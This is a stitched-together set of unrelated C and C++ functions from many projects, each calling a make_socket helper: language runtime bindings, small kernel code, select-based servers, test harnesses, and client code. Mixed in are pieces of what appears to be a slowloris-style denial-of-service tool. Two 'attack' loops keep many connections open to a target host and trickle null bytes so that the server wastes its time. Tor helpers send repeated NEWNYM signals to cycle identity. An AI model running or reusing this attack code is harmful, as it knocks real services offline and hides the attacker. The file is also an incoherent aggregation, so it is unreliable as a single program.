ScmObj Scm_SocketAccept(ScmSocket *sock)
{
Socket newfd;
struct sockaddr_storage addrbuf;
socklen_t addrlen = sizeof(addrbuf);
ScmSocket *newsock;
ScmClass *addrClass = Scm_ClassOf(SCM_OBJ(sock->address));
CLOSE_CHECK(sock->fd, "accept from", sock);
SCM_SYSCALL(newfd, accept(sock->fd, (struct sockaddr*)&addrbuf, &addrlen));
if (SOCKET_INVALID(newfd)) {
if (errno == EAGAIN) {
return SCM_FALSE;
} else {
Scm_SysError("accept(2) failed");
}
}
newsock = make_socket(newfd, sock->type);
newsock->address =
SCM_SOCKADDR(Scm_MakeSockAddr(addrClass,
(struct sockaddr*)&addrbuf,
addrlen));
newsock->status = SCM_SOCKET_STATUS_CONNECTED;
return SCM_OBJ(newsock);
}
void *collect_coordinates(void *data)
{
int32_t coords[2];
int fd;
struct single_vehicle *v;
struct get_coords_data *d = (struct get_coords_data*)data;
v = get_vehicles(d->list);
while(v)
{
fd = make_socket(SOCK_STREAM);
if(!socket_connect_safe(fd, v->addr, v->port))
{
if(socket_read(fd, coords, 2 * sizeof(int32_t)) == 2 * sizeof(int32_t))
add_coords(ntohl(coords[0]), ntohl(coords[1]), v);
TEMP_FAILURE_RETRY(close(fd));
}
v = get_next_vehicle(d->list, v);
}
stop_detached_thread(&d->mutex, d);
return NULL;
}
void connect(const std::string& address, const subscriber& sub, std::string identity)
{
identity = identity != "" ? identity : detail::generate_identity();
// Connect to the server
zmq::context_t ctx{1};
zmq::socket_t socket{ctx, ZMQ_DEALER};
socket.setsockopt(ZMQ_IDENTITY, identity.data(), identity.size());
socket.connect(address);
// Wrap the zmq socket to be passed to the callbacks
auto socket_wrapper = make_socket(socket);
client::send_hello(socket, sub.subscribed_events());
sub.trigger_connect(socket_wrapper);
// Dispatch callbacks based on messages until the socket is closed.
while (socket_wrapper.is_connected())
{
auto msg = transport::recv_message(socket);
sub.trigger_callback(socket_wrapper, std::move(msg));
}
client::send_bye(socket);
sub.trigger_disconnect();
}
/* Note: We don't do address return, the library can handle it */
arg_t _accept(void)
{
uint8_t flag;
struct socket *s = sock_get(fd, &flag);
struct socket *n;
int8_t nfd;
if (s == NULL)
return -1;
if (s->s_state == SS_LISTENING) {
udata.u_error = EALREADY;
return -1;
}
/* Needs locking versus interrupts */
while ((n = sock_pending(s)) == NULL) {
if (psleep_flags(s, flag))
return -1;
if (s->s_error)
return sock_error(s);
}
if ((nfd = make_socket(&socktypes[SOCKTYPE_TCP], &n)) == -1)
return -1;
n->s_state = SS_CONNECTED;
return nfd;
}
// make-socket
scm_obj_t
subr_make_socket(VM* vm, int argc, scm_obj_t argv[])
{
if (argc == 6) {
if (argv[0] == scm_false || STRINGP(argv[0])) {
if (argv[1] == scm_false || STRINGP(argv[1])) {
int family;
int socktype;
int protocol;
int m_flags;
CONVERT_TO_MACHINE_INT(2, "make-socket", &family);
CONVERT_TO_MACHINE_INT(3, "make-socket", &socktype);
CONVERT_TO_MACHINE_INT(4, "make-socket", &protocol);
CONVERT_TO_MACHINE_INT(5, "make-socket", &m_flags);
try {
const char* node = NULL;
const char* service = NULL;
if (STRINGP(argv[0])) node = ((scm_string_t)argv[0])->name;
if (STRINGP(argv[1])) service = ((scm_string_t)argv[1])->name;
scm_socket_t socket = make_socket(vm->m_heap, node, service, family, socktype, protocol, m_flags);
return socket;
} catch (io_exception_t& e) {
raise_io_error(vm, "make-socket", e.m_operation, e.m_message, e.m_err, scm_false, scm_false);
return scm_undef;
}
}
wrong_type_argument_violation(vm, "make-socket", 1, "string or #f", argv[1], argc, argv);
return scm_undef;
}
wrong_type_argument_violation(vm, "make-socket", 0, "string or #f", argv[0], argc, argv);
return scm_undef;
}
wrong_number_of_arguments_violation(vm, "make-socket", 6, 6, argc, argv);
return scm_undef;
}
int main(void)
{
fd_set active_fd_set, read_fd_set;
int i;
struct sockaddr_in clientname;
socklen_t size;
int sock = make_socket(PORT);
if(listen(sock, 1) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
FD_ZERO(&active_fd_set);
FD_SET(sock,&active_fd_set);
while(1)
{
read_fd_set = active_fd_set;
if(select(FD_SETSIZE, &read_fd_set, NULL, NULL, NULL) < 0)
{
perror("select");
exit(EXIT_FAILURE);
}
for(i=0; i<FD_SETSIZE; ++i)
{
if(FD_ISSET(i, &read_fd_set))
{
if(i == sock)
{
int newc;
size = sizeof(clientname);
newc = accept(sock, (struct sockaddr *) &clientname, &size);
if(newc < 0)
{
perror("accept");
exit(EXIT_FAILURE);
}
fprintf(stderr, "connect from host %s, port %hd.\n", inet_ntoa(clientname.sin_addr), ntohs(clientname.sin_port));
FD_SET(newc, &active_fd_set);
}
else
{
if(read_from_client(i)<0)
{
close(i);
FD_CLR(i, &active_fd_set);
}
}
}
}
}
return 0;
}
extern int Socket_waitforconnect(int port)
{
int ns;
serversocket = make_socket(port);
if (serversocket==0) {
const char *tokens[1] = {strerror(errno)};
c_add_message(NULL,-1,ErrorType_scripting,ErrorLevel_error,"make_socket failed: %s",tokens,1);
return -1;
}
if (listen(serversocket,5)==-1) { /* Listen, pending client list length = 1 */
const char *tokens[1] = {strerror(errno)};
c_add_message(NULL,-1,ErrorType_scripting,ErrorLevel_error,"listen failed: %s",tokens,1);
return -1;
}
ns = accept(serversocket,(struct sockaddr *)&clientAddr,&fromlen);
if (ns < 0) {
const char *tokens[1] = {strerror(errno)};
c_add_message(NULL,-1,ErrorType_scripting,ErrorLevel_error,"accept failed: %s",tokens,1);
return -1;
}
return ns;
}
int main()
{
int listenfd,n,err,i=0;
int connfd;
struct sockaddr_in servaddr,cliaddr;
socklen_t len;
char recvbuff[256];
char sendbuff[256];
pthread_t tid[5];
memset(recvbuff, '\0', 256);
memset(sendbuff, '\0', 256);
listenfd=make_socket(SOCK_STREAM,5015);
listen(listenfd,5);
len=sizeof(cliaddr);
while(1)
{
connfd=accept(listenfd,(struct sockaddr *)&cliaddr,&len);
i++;
printf("connect from %s,port %d\n",inet_ntoa((struct in_addr)cliaddr.sin_addr),ntohs(cliaddr.sin_port));
err=pthread_create(&tid[i], NULL, handle, &connfd);
if(err!=0)
printf("new thread error");
}
return 1;
}
int main(int argc, char *argv[])
{
int sockfd = make_socket();
int n_agents = 2;
bool do_sleep = true;
int i;
for (i = 1; i < argc; ++i) {
const char *s = argv[i];
int tmp;
if (!strcmp(s, "-n") || !strcmp(s, "--no-sleep"))
/* XXX Leads to crash for some reason (don't know why right now). */
do_sleep = false;
else if (sscanf(s, "-%d", &tmp) == 1)
n_agents = tmp;
else
break;
}
if (i == argc) {
klatschtgleich2(stdin, sockfd, n_agents, do_sleep);
} else {
for (; i < argc; ++i) {
FILE *fp = fopen(argv[i], "r");
klatschtgleich2(fp, sockfd, n_agents, do_sleep);
fclose(fp);
}
}
close(sockfd);
return 0;
}
/* Create socket and connect to remote address */
static int make_active_socket(in_addr_t remote_ip, uint16_t remote_port, int *out_sock) {
int ret, sock;
struct sockaddr_in remote_addr;
ret = make_socket(&sock);
if (ret != FTP_RET_OK) {
return ret;
}
memset(&remote_addr, 0, sizeof remote_addr);
remote_addr.sin_addr.s_addr = remote_ip;
remote_addr.sin_port = htons(remote_port);
remote_addr.sin_family = AF_INET;
ret = connect(sock, (struct sockaddr *)&remote_addr, sizeof remote_addr);
if (ret < 0) {
fprintf(stderr, "Can't connect to host %s:%d.\n", inet_ntoa(remote_addr.sin_addr), (int)remote_port);
close(sock);
return FTP_RET_ERROR;
}
*out_sock = sock;
return FTP_RET_OK;
}
static int make_bound_socket(struct addrinfo *ai, struct error *err)
{
int on = 1;
const char *op;
int fd = make_socket(ai->ai_family, ai->ai_socktype, err);
if (fd < 0)
goto out;
op = "setsockopt";
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on) < 0)
goto error;
/* disable dual-binding in order to bind to the same port on
IPv4 and IPv6. */
if (ai->ai_family == AF_INET6
&& setsockopt(fd, IPPROTO_IPV6, IPV6_V6ONLY, &on, sizeof on) < 0)
goto error;
op = "bind";
if (bind(fd, ai->ai_addr, ai->ai_addrlen) < 0)
goto error;
op = "listen";
if (listen(fd, SOMAXCONN) < 0)
goto error;
return fd;
error:
error_errno(err, "%s", op);
close(fd);
out:
return -1;
}
int pr0f_loves_me_tor_connect(const char *host, const char *port) {
char *buf = calloc(1024, sizeof(char));
short l = strlen(host), t;
int x, sock;
fprintf(stderr, "Connect %s:%s\n", host, port);
if((sock=make_socket("127.0.0.1", "9050"))<0) {
free(buf);
return sock;
}
write(sock, "\x05\x01\x00", 3);
read(sock, buf, 1024);
if((buf[0] != 0x05) || (buf[1] == 0xFF) || (buf[1] != 0x00)) {
free(buf);
return -3;
}
buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x03; buf[4] = l;
for(x=0; x < l; x++)
buf[5+x] = host[x];
x=l+5;
t = htons(atoi(port));
memcpy((buf+x), &t, 2);
write(sock, buf, x+2);// send request
read(sock, buf, 1024);
if((buf[0] == 0x05) && (buf[1] == 0x00)) {
free(buf);
return sock;
}
free(buf);
return -4;
}
int main (int argc, char const *argv[]) {
UNUSED_ARG(argc);
UNUSED_ARG(argv);
int port = 6666;
int result = -1;
acceptor_id_t acc_id;
// Valid config
acc_id = 2;
config_mngr * cfg;
result = config_mngr_init("./etc/config1.cfg", acc_id, NULL, NULL, &cfg);
assert(result == 0);
int child_pid = fork();
assert(child_pid >= 0);
if(child_pid == 0) {
// Child only sends some data to parent, then exits
sleep(1);
int sock = make_socket("127.0.0.1", port);
int data_sent;
unsigned i;
for(i = 0; i < 5; ++i) {
data_sent = send(sock, my_string, strlen(my_string), 0);
if(data_sent < 0) {
perror("send");
exit(1);
}
sleep(1);
}
printf("All messages sent\n");
exit(0);
} else {
event_init();
// Child process creates a receiver and waits for a message
udp_receiver * ur = udp_receiver_init(NULL, port, handle_message, NULL, cfg);
assert(ur != NULL);
struct timeval recv_check;
recv_check.tv_sec = 1;
recv_check.tv_usec = 0;
set_periodic_event(&recv_check, timeout_check, NULL);
//Infinite event loop, will exit on message received
event_dispatch();
}
return 0;
}
static void create_all_sockets(abts_case *tc, void *data)
{
int i;
for (i = 0; i < LARGE_NUM_SOCKETS; i++){
make_socket(&s[i], &sa[i], 7777 + i, p, tc);
}
}
static void create_all_sockets(CuTest *tc)
{
int i;
for (i = 0; i < LARGE_NUM_SOCKETS; i++){
make_socket(&s[i], &sa[i], 7777 + i, p, tc);
}
}
/*
* This function will reset your tor identity, VERY USEFUL
*/
void cycle_identity() {
int r;
int socket = make_socket("localhost", "9050");
write(socket, "AUTHENTICATE \"\"\n", 16);
while(1) {
r=write(socket, "signal NEWNYM\n\x00", 16);
fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
usleep(300000);
}
}
acceptor::acceptor(io::io_service &ep, const ipv4_endpoint &endpoint, std::function<void()> on_accept)
: fd(make_socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK)),
accept_connection(on_accept), ioEntry(ep, fd, EPOLLIN,
[this](uint32_t event)
{
if (event == EPOLLIN) this->accept_connection();
})
{
bind_socket(fd, endpoint.port_net, endpoint.addr_net);
start_listen(fd);
}
static int make_listening_socket(int family, int socktype, struct error *err)
{
int fd = make_socket(family, socktype, err);
if (fd >= 0 && listen(fd, SOMAXCONN) < 0) {
error_errno(err, "listen");
close(fd);
fd = -1;
}
return fd;
}
static void startup(void)
{
time_t time_seed= time(NULL);
fprintf(stderr, "--------------------------------------------------------\n\n");
fprintf(stderr, "\t\tHostile Engaged\n\n");
fprintf(stderr, "Seed used %lu\n", (unsigned long)time_seed);
fprintf(stderr, "\n--------------------------------------------------------\n");
srand((unsigned int)time_seed);
make_socket(HOSTILE_PORT);
}
socket_handle_ptr socket_handle::accept()
{
if( !is_open() )
throw exception::exception_base("Socket not open");
SOCKET sock = ::accept(socket_, 0, 0);
if( sock == INVALID_SOCKET )
throw iocp::win32_exception("accept");
socket_handle_ptr remote(make_socket(io_, sock));
return remote;
}
void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x != CONNECTIONS; x++) {
if(sockets[x] == 0)
sockets[x] = make_socket(host, port);
r=write(sockets[x], "\0", 1);
if(r == -1) {
close(sockets[x]);
sockets[x] = make_socket(host, port);
} else
fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
fprintf(stderr, "[%i: Voly Sent]\n", id);
}
fprintf(stderr, "[%i: Voly Sent]\n", id);
usleep(300000);
}
}
/**
* Makes new socket, makes proper address structure,
* binds the socket to that address and finally call listen() in
* order to make this socket listen for new connections.
*
* @param name
* Name of the socket
* @param type
* Type of the socket. refer to: man 2 socket
* @param backlog
* Hint to the limit of outstanding connections in the socket's
* listen queue.
* @return
* Socket file descriptor
*/
int bind_local_socket(char *name, int type, int backlog)
{
struct sockaddr_un addr;
int socketfd;
if(unlink(name) <0&&errno!=ENOENT) ERR("unlink");
socketfd = make_socket(PF_UNIX,type);
addr = make_local_address(name);
if(bind(socketfd,(struct sockaddr*) &addr,SUN_LEN(&addr)) < 0)
ERR("bind");
if(listen(socketfd, backlog) < 0) ERR("listen");
return socketfd;
}
/*!
* @brief プログラムのエントリポイント
* @param [in] argc コマンドライン引数の個数(プログラム名も含む)
* @param [in] argv コマンドライン引数の配列
* @return 終了コード
*/
int main(int argc, char *argv[]) {
int sock_new; /* ソケットのディスクリプタ */
int port_num; /* ポート番号 */
/* 引数解析を行う */
if (arg_parse(argc, argv, &port_num) == -1) {
return EXIT_FAILURE;
}
/* クライアントとの接続を行い、クライアントのソケットディスクリプタを得る */
if ((sock_new = make_socket(port_num)) == -1) {
return EXIT_FAILURE;
}
return play_game_server(sock_new); /* ゲームのメインループ */
}
arg_t _socket(void)
{
struct sockinfo *s = socktypes;
/* Find the socket */
while (s && s < socktypes + NSOCKTYPE) {
if (s->af == afv && s->type == typev) {
if (s->pf == 0 || s->pf == pfv)
return make_socket(s, NULL);
}
s++;
}
return -EAFNOSUPPORT;
}
int bind_inet_socket(uint16_t port, int type, int active)
{
struct sockaddr_in addr;
int socketfd, t = 1;
socketfd = make_socket(PF_INET, type);
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (setsockopt(socketfd, SOL_SOCKET, SO_REUSEADDR, &t, sizeof(t))) ERR("setsockopt");
if (bind(socketfd, (struct sockaddr *) &addr, sizeof(addr)) < 0) ERR("bind");
if (SOCK_STREAM == type && active == 0)
if (listen(socketfd, 100) < 0) ERR("listen");
return socketfd;
}
/*
* This function will send a null character to the
* target site, which wastes the daemon's time, and is
* why this program works.
*/
void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x != CONNECTIONS; x++) {
if(sockets[x] == 0)
sockets[x] = make_socket(host, port);
r=write(sockets[x], "\0", 1);
//r=write(sockets[x], "GET / HTTP/1.1\r\n\r\n", 1);
if(r == -1) {
close(sockets[x]);
sockets[x] = make_socket(host, port);
} else {
// fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
}
attacks++;
fprintf(stderr, "[%i:\tvolley sent, %d\t]\n", id, attacks);
}
usleep(300000);
}
}
void *tlcycle_identity() {
int sock = make_socket("localhost", "9051");
char *shit_bucket = calloc(1024, sizeof(char));
if(sock < 0) {
fprintf(stderr, "[-] Can't connect to tor control port\n");
free(shit_bucket);
pthread_exit(NULL);
}
write(sock, "AUTHENTICATE \"\"\n", 16);
while(1) {
write(sock, "signal NEWNYM\n", 15);
fprintf(stderr, "[cycle_identity -> signal NEWNYM\n");
read(sock, shit_bucket, 1024);
sleep(5);
}
}
int main()
{
int sock;
make_socket(&sock);
sockaddr_in serverAddr;
setup_serveraddr(&serverAddr);
/* Bind to local address structure */
if(bind(sock, (struct sockaddr*) &serverAddr, sizeof(serverAddr)) < 0){
printf("server/main: bind() failed :(\n");
exit(1);
}
/* Listen for incoming connections */
if(listen(sock, MAX_PENDING)){
printf("server/main: listen() failed :(\n");
exit(1);
}
while(1)
{
/* Accept incoming connection */
sockaddr_in clientAddr;
unsigned int clntLen;
int clientSock;
clntLen = sizeof(clientAddr);
clientSock = accept(sock, (struct sockaddr*) &clientAddr, &clntLen);
if(clientSock < 0){
printf("server/main:accept() failed :(\n");
exit(1);
}
printf("server/main: Client accepted... \n");
//Get ready to make a thread!
struct ThreadArgs *threadArgs = (struct ThreadArgs *) malloc(sizeof(struct ThreadArgs));
threadArgs->clntSock = clientSock;
pthread_t threadID;
int rtnVal = pthread_create(&threadID, NULL, ThreadMain, threadArgs);
}
return 0;
}
int main(int argc,char **argv) /* 執行指令為： <程式名> <通訊埠號> */
{
int n;
char buff[40];
sigset_t mask, oldmask;
struct sigaction action;
if(argc != 2) { /* 檢查參數*/
printf("Usage: a.out <port#>\n");
exit(1);
}
/* 設定sigaction結構指明訊號動作. */
action.sa_handler = sig_urg;
sigemptyset(&action.sa_mask);
action.sa_flags = SA_RESTART;
sigemptyset(&mask);
sigaddset(&mask, SIGURG);
action.sa_mask = mask;
/* 設定SIGURG的控制碼 */
sigaction(SIGURG, &action , NULL);
/* 暫時阻塞SIGURG中斷. */
sigemptyset(&mask);
sigaddset(&mask, SIGURG);
sigprocmask (SIG_BLOCK, &mask, NULL);
listenfd = make_socket(SOCK_STREAM, atoi(argv[1])); /* 建立監聽套接字 */
listen(listenfd, 5);
connfd = accept(listenfd, NULL, NULL); /* 接收連線 */
/* 下面這一行與程式12-17 舉出的訊號控制碼配合使用 */
/* setsockopt(listenfd,SOL_SOCKET,SO_OOBINLINE,&n,(socklen_t)sizeof(n)); */
fcntl(connfd,F_SETOWN,getpid());
/* 放開對SIGURG的阻塞 */
sigprocmask (SIG_UNBLOCK, &mask, NULL);
sleep(1); // 讓程式p12-14執行
while(1){
if ((n = read(connfd, buff, 18 /*sizeof(buff)-1i*/)) == 0){
printf("received EOF\n");
exit(0);
} else if(n>0) {
buff[n] = 0;
printf("read %d bytes: %s\n",n, buff);
} else if(errno == EINTR)
continue;
else
err_exit("read error");
}
}
ScmObj Scm_MakeSocket(int domain, int type, int protocol)
{
intptr_t sock;
#if GAUCHE_WINDOWS
/* On Windows, sockets created by socket() call sets
WSA_FLAG_OVERLAPPED flag. When used in threads other than
primordial thread, I/O to/from such socket fails, since it
requires extra OVERLAPPED struct in win32 call (which can't
be done with POSIX calls). Directly using WSASocket allows
us to not set WSA_FLAG_OVERLAPPED flag. */
SCM_SYSCALL(sock, WSASocket(domain, type, protocol, NULL, 0, 0));
#else /*!GAUCHE_WINDOWS*/
SCM_SYSCALL(sock, socket(domain, type, protocol));
#endif /*!GAUCHE_WINDOWS*/
if (SOCKET_INVALID(sock)) Scm_SysError("couldn't create socket");
return SCM_OBJ(make_socket((Socket)sock, type));
}
